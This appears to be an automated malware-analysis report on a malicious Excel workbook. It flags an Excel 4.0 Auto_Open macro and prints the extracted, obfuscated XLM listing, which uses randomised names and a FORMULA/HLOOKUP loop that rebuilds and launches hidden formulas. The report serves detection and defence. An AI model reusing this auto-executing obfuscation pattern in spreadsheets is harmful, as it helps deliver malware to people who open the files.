Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 793344affd5b2573…

MALICIOUS

Office (OLE)

41.0 KB Created: 2020-11-25 10:37:57 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 9f0abd1f33da171061163e2ca152a1b6 SHA-1: 9b78e76d82401bd4d380892ff57f7e3d74ebb1a9 SHA-256: 793344affd5b257383a03c2fe2d933c28de928f1eabf8d42327bb96a3b929064
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6562 bytes
SHA-256: 53ef774911d0aaf2ba6ee463a7713fa17edd56f40eb5c25fd54ae467e9e123c5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JdfQQpI
' 0018     21 LABEL : Cell Value, String Constant - aGqLzF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A176 
' 0018     24 LABEL : Cell Value, String Constant - cqbACnfMS len=0 
' 0018     27 LABEL : Cell Value, String Constant - cZuqhiRFxJPx len=0 
' 0018     20 LABEL : Cell Value, String Constant - DRZHL len=0 
' 0018     23 LABEL : Cell Value, String Constant - elDpuQsP len=0 
' 0018     25 LABEL : Cell Value, String Constant - FdZdLgjFMg len=0 
' 0018     20 LABEL : Cell Value, String Constant - fUXqZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - GMQjDdO len=0 
' 0018     22 LABEL : Cell Value, String Constant - GUIqOmm len=0 
' 0018     24 LABEL : Cell Value, String Constant - JLyQPhmUb len=0 
' 0018     22 LABEL : Cell Value, String Constant - jRWOPKG len=0 
' 0018     26 LABEL : Cell Value, String Constant - lBXjfyOjBhY len=0 
' 0018     22 LABEL : Cell Value, String Constant - lJKIrJu len=0 
' 0018     26 LABEL : Cell Value, String Constant - mnpOhBxeENv len=0 
' 0018     20 LABEL : Cell Value, String Constant - SsGaa len=0 
' 0018     24 LABEL : Cell Value, String Constant - svxCrjygG len=0 
' 0018     24 LABEL : Cell Value, String Constant - uAgARgJVF len=0 
' 0018     20 LABEL : Cell Value, String Constant - UxabH len=0 
' 0018     25 LABEL : Cell Value, String Constant - vWHcLuGNuR len=0 
' 0018     24 LABEL : Cell Value, String Constant - xjycYFGPH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JdfQQpI,A83,"SET.NAME("mnpOhBxeENv",VALUE("0"))",""
'  JdfQQpI,A86,"SET.NAME("lBXjfyOjBhY",mnpOhBxeENv)",""
'  JdfQQpI,A91,"SET.NAME("JLyQPhmUb",mnpOhBxeENv)",""
'  JdfQQpI,A94,"SET.NAME("cZuqhiRFxJPx",COUNTA(jRWOPKG))",""
'  JdfQQpI,A98,"SET.NAME("xjycYFGPH",COUNTA(uAgARgJVF))",""
'  JdfQQpI,A101,[],""
'  JdfQQpI,A105,"SET.NAME("FdZdLgjFMg","")",""
'  JdfQQpI,A107,"lBXjfyOjBhY",""
'  JdfQQpI,A109,"SET.NAME("cqbACnfMS",HLOOKUP("*",jRWOPKG,lBXjfyOjBhY,FALSE))",""
'  JdfQQpI,A113,"UxabH",""
'  JdfQQpI,A117,"SET.NAME("GMQjDdO",mnpOhBxeENv)",""
'  JdfQQpI,A121,[],""
'  JdfQQpI,A124,"GMQjDdO",""
'  JdfQQpI,A128,"DRZHL",""
'  JdfQQpI,A131,"lJKIrJu",""
'  JdfQQpI,A133,"vWHcLuGNuR",""
'  JdfQQpI,A137,"SET.NAME("SsGaa",VALUE(HLOOKUP("*",uAgARgJVF,vWHcLuGNuR,FALSE)))",""
'  JdfQQpI,A142,"fUXqZ",""
'  JdfQQpI,A147,"FdZdLgjFMg",""
'  JdfQQpI,A152,"JLyQPhmUb",""
'  JdfQQpI,A155,NEXT(),""
'  JdfQQpI,A160,"aGqLzF",""
'  JdfQQpI,A163,"SET.NAME("f",INT(T(FORMULA(T(FdZdLgjFMg)&"",""&T(aGqLzF)))))",""
'  JdfQQpI,A167,"elDpuQsP",""
'  JdfQQpI,A169,NEXT(),""
'  JdfQQpI,A173,RETURN(),""
'  JdfQQpI,A194,"SET.NAME("GUIqOmm",A83)",""
'  JdfQQpI,A198,"jRWOPKG",""
'  JdfQQpI,A202,"SET.NAME("uAgARgJVF",R85C15)",""
'  JdfQQpI,A205,"SET.NAME("elDpuQsP",213)",""
'  JdfQQpI,A208,"SET.NAME("svxCrjygG",1)",""
'  JdfQQpI,A212,GUIqOmm(),""
'  JdfQQpI,A213,HALT(),""